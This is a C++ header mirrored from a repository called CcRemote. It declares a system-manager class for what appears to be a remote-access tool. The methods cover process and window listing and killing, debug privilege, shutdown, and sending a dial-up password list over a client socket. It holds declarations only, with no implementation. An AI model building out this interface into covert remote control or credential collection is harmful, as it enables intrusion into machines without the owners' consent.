mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-06-07 21:09:49 +00:00
41 lines
1.3 KiB
C++
41 lines
1.3 KiB
C++
// SystemManager.h: interface for the CSystemManager class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
#if !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)
|
|
#define AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_
|
|
|
|
#if _MSC_VER > 1000
|
|
#pragma once
|
|
#endif // _MSC_VER > 1000
|
|
|
|
#include "Manager.h"
|
|
|
|
class CSystemManager : public CManager
|
|
{
|
|
public:
|
|
CSystemManager(CClientSocket *pClient, BYTE bHow);//bHow是传进来功能的标志
|
|
virtual ~CSystemManager();
|
|
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
|
|
|
static bool DebugPrivilege(const char *PName,BOOL bEnable);
|
|
static bool CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam);
|
|
static void ShutdownWindows(DWORD dwReason);
|
|
private:
|
|
BYTE m_caseSystemIs;//构造函数会初始化这个变量,用于区分进程或者窗口的变量
|
|
|
|
BOOL GetProcessFullPath(DWORD dwPID, TCHAR pszFullPath[MAX_PATH]);
|
|
BOOL DosPathToNtPath(LPTSTR pszDosPath, LPTSTR pszNtPath);
|
|
LPBYTE getProcessList();
|
|
LPBYTE getWindowsList();
|
|
void SendProcessList();
|
|
void SendWindowsList();
|
|
void SendDialupassList();
|
|
void KillProcess(LPBYTE lpBuffer, UINT nSize);
|
|
void ShowTheWindow(LPBYTE buf);
|
|
void CloseTheWindow(LPBYTE buf);
|
|
|
|
};
|
|
|
|
#endif // !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)
|